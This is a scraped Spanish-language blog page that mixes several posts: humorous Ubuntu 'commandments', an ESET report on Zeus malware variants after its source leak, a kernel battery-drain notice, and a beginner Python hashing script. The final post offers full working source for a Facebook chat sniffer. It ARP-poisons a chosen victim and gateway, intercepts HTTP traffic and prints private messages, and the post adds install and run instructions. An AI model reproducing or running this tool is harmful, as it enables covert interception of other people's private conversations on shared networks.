1. Amaras el terminal sobre todas las cosas
2. No tomaras la Guia-Ubuntu en vano
3. Santificaras las LTS
4. Honraras a Gnome y Kde por igual
5. No reinstalaras Ubuntu hasta agotar todas las posibilidades
6. No usaras Windows salvo por fuerza mayor
7. Compartirás tu conocimiento con los demás Ubunteros
8. No dirás que Ubuntu es perfecto
9. No pensaras en volver a Windows
10. No codiciaras los Mac’s ajenos
11. No te estancaras en ubuntu probaras otras distros (no solo de ubuntu vive linux)

12. No iniciarás como root.
Usa “sudo” o “su -” para las tareas de administración del sistema.

13. Usarás el gestor de paquetes todo lo posible.
Algunas veces instalar desde las fuentes no se puede evitar, pero cuando uses el gestor de paquetería de tu distro para instalar software, también podrás usarlo para actualizarlo y quitarlo. Esta es una de las fortalezas de Linux.

14. Serás parte de una comunidad.
Libremente da lo que has recibido gratuitamente. Ofrece ayuda y consejo en todo lo que puedas.

15. Leerás la documentación y manuales.
Siempre lee la documentación. La gente que escribe el software intenta anticiparse a tus preguntas, y proporcionar respuestas antes que preguntes.

16. Usarás el sistema de soporte.
Cambiarse a Linux puede ser difícil. Puede ser frustrante, pero hay gente que puede y quiere ayudarte. Déjalos hacer su trabajo.

17. Buscarás.
En la mayoría de los casos, tus preguntas y problemas han sido respondidos. Intenta buscar las respuestas que han sido resueltas antes de preguntar a alguien.

18. Explorarás.
Linux te abre un nuevo mundo de opciones y posibilidades. Intenta todo lo que puedas.

19. Usarás la línea de comandos.
Especialmente para configuraciones, usa las interfases gráficas para que tu sistema funcione a la perfección, pero intenta conocer la versión en línea de comandos también. En algunos casos, la línea de comandos es la única forma de usar alguna de las tantas características avanzadas de Linux.

20. No intentarás recrear Windows.
Linux no intenta ser un clon de Windows. Es diferente. Acepta y aprecia las diferencias.

21. No te darás por vencido.
Intenta con diferentes distribuciones hasta encontrar la que más te guste. Instala distros de vez en cuando. Intenta con diferentes programas que sirvan para un sólo propósito antes de establecerse (amarok, xmms, beep, exaile para música; azureus, ktorrent, deluge para bittorrents). Si ni te gustan los programas “de fábrica”, recuerda que casi siempre puedes cambiar a lo que más se te acomode.

!!! AMEN !!!


Mucho se ha escuchado hablar sobre la liberación del código fuente de Zeus, la botnet cuyo principal objetivo es el robo de información bancaria. Hasta ahora habíamos explicado cómo comenzaban a aparecer pequeñas variantes de esta botnet permitiéndonos estimar su futuro crecimiento, pero hoy podemos dar crédito a esas predicciones y demostrar con datos reales la veracidad de los mismos.

A mediados del pasado mes de mayo, ocurrió algo que de lo que se venía hablando desde hacía ya un tiempo, pero que hasta ese momento solo habían sido rumores, la liberación real del código de Zeus. Este hecho, esperado por algunos, abrió una nueva etapa en lo que respecta a este malware. Dicha liberación de código permitió a los investigadores corroborar los trabajos de análisis realizados sobre éste código malicioso y conocer en detalle ciertos aspectos que por su complejidad no eran tan difundidos.
La disponibilidad del código benefició a los investigadores, como mencionamos anteriormente, pero lamentablemente también trajo beneficios para los creadores de malware, los cuales con el código a su disposición, le dieron vida nuevamente a esta amenaza.

Con el código liberado, se esperaba el crecimiento de variantes de este malware, cosa que desde el Laboratorio de Análisis e Investigación de ESET Latinoamérica podemos corroborar al analizar las muestras que llegan diariamente

Como vemos en el gráfico que se muestra a continuación, el crecimiento de la cantidad de muestras detectadas pertenecientes a la familia de Zeus es notable. En el mes de abril, donde todavía no se había producido la filtración del código fuente de Zeus, la cantidad de muestras de Zbot (nombre de detección de las muestras de Zeus) fue de solo un 1% del total de muestras recibidas. Ya en el mes de Mayo, mes en el cual el código estuvo disponible para ser descargado, se evidenció un crecimiento importante de la cantidad de muestras detectadas, un 13% del total. En lo que va de Junio, teniendo en cuenta los datos hasta mitad de mes, el crecimiento sigue en ascenso, llevándolo a un 22% del total. Para finales de mes, de seguir con esta proyección, veremos un porcentaje mucho más alto de detecciones que el mes anterior.

Como podemos apreciar, el porcentaje de crecimiento de esta amenaza aumento notablemente desde la aparición de su código fuente. Hechos como este potencian el crecimiento del malware, ya que, disponiendo del código fuente, cualquier persona puede crear sus propias variantes de códigos maliciosos.

Fuente: Laboratorios ESET
Las últimas versiones de la distribución de Canonical han traído muchas novedades y mejoras, pero tampoco se han librado de incluir algunos problemas. El más grave de todos, con mucho, es el que afecta a la autonomía de las baterías en los portátiles, y que hace que Ubuntu 10.10 y Ubuntu 11.04 pierdan muchos enteros en estos equipos.

a lo comentaba Metalbyte hace mes y medio al hablar del kernel Linux 2.6.38, que es el causante de una situación que por ahora sigue sin solucionarse: el núcleo de Linux ha ganado terreno en muchos apartados, pero desde luego hay un problemón con la gestión de energía.

En Phoronix ya habían avisado de este tema, que también ha sido tratado en UbuntuForums, en el foro de Fedora, en la herramienta de errores de Ubuntu y seguro que en muchos otros sitios, y el tema ha vuelto a ponerse de manifiesto tras un análisis de Ubuntu 11.04 que ha aparecido en Tom’s Hardware y que precisamente hace hincapié en el tema:

En lo que respecta al rendimiento, hay razones de peso para que ciertos usuarios se actualicen [a Ubuntu 11.04]. También hay razones de peso para que algunos usuarios eviten esta distribución por todos los medios. Los jugones de Linux podrán disfrutar de mejoras sustanciales, mientras que los usuarios móviles sufrirán una pérdida de autonomía de la batería dramática.
Los argumentos no se lanzan a la ligera: las pruebas realizadas por Tom’s Hardware vuelven a reforzar lo que se había descubierto en el pasado, y lo peor es que la solución aún no se ha producido.


Así, en el kernel 2.6.39 la cosa mejora ligeramente, y parece que también se ha evolucionado un poco en los recién anunciados kernels 3.0, pero en realidad el problema persiste y sigue siendo muy grave para los usuarios de portátiles, que será mejor que utilicen distribuciones que no pasen del kernel 2.6.37.

Fuente - http://www.muylinux.com


Espero les sirva
By Xpl0_syst3m
Bien, hoy estaba estudiando algo sobre POO (Programación Orientada a Objetos) y bueno continuando con mi codigo de "Encriptadores de hash" el dia de hoy hice un codigo del mismo pero a diferencia de el otro código es que en este nuevo code use un clase...
Solo para practicar... Si alguien al igual que yo esta estudiando python, pues les dejo este ejemplo:

#!/bin/python
# -*- coding:UTF-8 -*-
import sys, base64, hashlib, hmac
from string import maketrans

#Codificacion con maketrans
ZtuX=maketrans("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789","mab1c2z3k4h5f6s7p8i9y0rewqQW]RT[UI$%A(D-G)JK Z#CVB/M@&\*.;_^{}")
#Decodificación con makeTrans
Ztux=maketrans("mab1c2z3k4h5f6s7p8i9y0rewqQW]RT[UI$%A(D-G)JK Z#CVB/M@&\*.;_^{}","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")

class palabra:
def __init__(self,string):
self.string = string
print 'Has introducido la palabra: ', string
def md5(self):
print 'MD5>>> ' ,hashlib.md5(a).hexdigest()
def code_base64(self):
print 'Base64>>> ',base64.b64encode(a)
def decode_base64(self):
print base64.b64decode(a)
def ztux(self):
print 'ZtuX>>> ',a.translate(ZtuX)
def dztux(self):
print 'Decodificado ZtuX>>> ',a.translate(Ztux)
def sha1(self):
print 'sha>>> ',hashlib.sha1(a).hexdigest()
def sha256(self):
print 'sha256>>> ',hashlib.sha256(a).hexdigest()
def sha384(self):
print 'sha384>>> ',hashlib.sha384(a).hexdigest()
def sha512(self):
print 'sha512>>> ',hashlib.sha512(a).hexdigest()
def Hmac(self):
print 'hmac>>> ',hmac.new(a).hexdigest()

a=raw_input('Palabra: ')
txt=palabra(a)
print '''
Convertir a:
[1] md5
[2] Base64
[3] Dec. Base64
[4] ZtuX
[5] Dec. ZtuX
[6] sha
[7] sha256
[8] sha384
[9] sha512
[10] hmac
'''
opc = input('Que deseas hacer[?]\n>>> ')
if opc == 1:
txt.md5()
if opc == 2:
txt.code_base64()
if opc == 3:
txt.decode_base64()
if opc == 4:
txt.ztux()
if opc == 5:
txt.dztux()
if opc == 6:
txt.sha1()
if opc == 7:
txt.sha256()
if opc == 8:
txt.sha384()
if opc == 9:
txt.sha512()
if opc == 10:
txt.Hmac()
else:
exit()

Hola amigos...
Pues no tengo nada mas que decir mas que gracias por sus visitas :D
Ahora estare trabajando con el Libro #2 de Python, quisiera saber si tienen alguna sugerencia o Comentario

Sin mas que decir me despido y de nuevo GRACIAS por sus visitas...



Salud[OS]
Nota: La mascara me la puse porque ME GUSTA, no por "presumir" que soy un Anonymous [ya que no lo soy ],si no porque me gusta la Pelicula "V de Vendetta" y la mascara esta genial :D , lo digo porque muchos asi lo pueden llegar a interpretar...
Hola amigos...Hoy les dejo esta herramienta, que lo que hace es espiar conversaciones de Facebook... En concreto esta tool es un sniffer...
El código esta escrito en Python, y bueno para usarlo necesitan tener instalado lo siguiente:

Python 2.x
arpspoof (dsniff suite)
dpkt
pypcap

Para instalar dichas herramientas en Ubuntu lo pueden hacer con el siguiente comando:


sudo apt-get install python-dpkt python-pypcap dsniff

Una vez instalado esta, podrán usar dicha herramienta!!
Este es el source de la tool, AQUI:


#!/usr/bin/env python
#-*-encoding:utf8-*-

""" 2011 vdo.pure at gmail.com"""

''' Traducido por ZtuX... secret.user8[at]gmail[dot].com'''

"""

Este programa es software libre: Usted puede redistribuirlo y / o modificar
bajo los términos de la licencia GNU General Public License publicada por
la Free Software Foundation, bien de la versión 3 de la Licencia, o
(a su elección) cualquier versión posterior.

Este programa se distribuye con la esperanza de que sea útil,
pero SIN NINGUNA GARANTÍA, incluso sin la garantía implícita de
COMERCIALIZACIÓN o IDONEIDAD PARA UN PROPÓSITO PARTICULAR. Consulte la
Licencia Pública General GNU para más detalles.

Usted debería haber recibido una copia de la Licencia Pública General GNU
junto con este programa. Si no, vaya a http://www.gnu.org/licenses/>.
"""
import sys, os
import dpkt, pcap

def check_root():
""" Devuelve Verdadero (True) si el usuario es root, de lo contrario Falso (False) """
if os.getenv('LOGNAME','none').lower() == 'root':
return True
return False

def poison(iface,victim, gw):
""" IP Forwarding """
os.system("sysctl -w .net.ipv4.ip_forward=1 > /dev/null")
""" ARP cache poisoning, silent, in both directions """
os.system("arpspoof -i "+iface+" -t "+victim+" "+gw+" 2> /dev/null &")
os.system("arpspoof -i "+iface+" -t "+gw+" "+victim+" 2> /dev/null &")
print("Envenenamiento de Cache ARP...")


def fbchatgrep(p,pid):
data = str(p.data)
if ("{\"t\":\"msg") and ("\"type\":\"msg\"") in data:
msgid=data[data.find("\"msgID\":")+9:data.rfind("\"},\"from\":")]
if (pid != msgid ): #Comprobar si el mensaje apareció antes (ARP poison clones)
pid = msgid
print(" ")
s = "Mensaje de: "+data[data.find("from_name\":\"")+12:data.rfind("\",\"from_first_name")]
print(unicode(s,'unicode_escape').encode('utf-8'))
s = "Para: "+data[data.find("to_name\":\"")+10:data.rfind("\",\"to_first_name")]
print(unicode(s,'unicode_escape').encode('utf-8'))
s = data[data.find("\"text\":")+8:data.rfind(",\"time\"")-1]
print(unicode(s,'unicode_escape').encode('utf-8'))
print(" ")
return pid

if __name__ == '__main__':
if len(sys.argv) < 4:
print '''Traducido por ZtuX... Visita http://mundohacking.com
Para usar siga esta Sintaxis: ./sniff.py [interfaz] [victima] [gateway]
Ejemplo: ./sniff.py eth0 192.168.1.2 192.168.1.254'''
sys.exit(0)
if not check_root():
print 'Debes ser SuperUsuario'
sys.exit(1)

pid="fo bar"
pc = pcap.pcap(sys.argv[1])
pc.setfilter('tcp and port 80') #Sniff only http

try:
print 'Escuchando en: %s' % (pc.name)
print 'Para Salir teclea: Control+C'
poison(sys.argv[1],sys.argv[2],sys.argv[3])
for ts, pkt in pc:
packet = dpkt.ethernet.Ethernet(pkt)
pid = fbchatgrep(packet,pid)

except KeyboardInterrupt:
os.system("sysctl -w .net.ipv4.ip_forward=0 > /dev/null") # Deshabilitar IP Delantera
nrecv, ndrop, nifdrop = pc.stats()
print '\n%d packets received by filter' % nrecv
print '%d packets dropped by kernel' % ndrop




Y bueno, ahora ¿Como usarlo?

Bien primero copiamos nuestro código en un Editor de Textos como Gedit [por ejemplo] y lo guardamos con la extension .py[IMPORTANTE LA EXTENSION .PY], con el nombre sniff... Preferentemente guardarlo en el Escritorio, y nos quedara como sniff.py
Despues tendremos que darle permisos de Ejecucion y lo hacemos de la sig. manera:
Abrimos una Terminal y nos vamos al lugar donde guardamos nuestro archivo... y tecleamos:

chmod +x sniff.py



Como podran notar, en la imagen el nombre del archivo cambio de color, esto porque ahora tiene permisos de ejecucion...
Y bien para hacerlo funcionar, solo basta escribir en una terminal:

./sniff.py
Y nos devuelve algo como:





/sniff.py 
Traducido por ZtuX... Visita http://mundohacking.com
Para usar siga esta Sintaxis: ./sniff.py [interfaz] [victima] [gateway]
Ejemplo: sniff.py eth0 192.168.1.2 192.168.1.254


Y para usarlo ahi tienen la sintaxis y un ejemplo...

Si asi es YO lo traducí jaja xD LOL!!Bueno eso es todo, alguna duda??

SaludOS
Por cierto se me olvidaba la página oficial de donde obtuve el source esta Aqui
Y ¿Como evitar este ataque?
Simple, ahora Facebook nos permite cifrar nuesta navegacion, para ello hay que ir a las opciones de nuestra cuenta y elegir la navegacion a travez de https

by [Z]TuX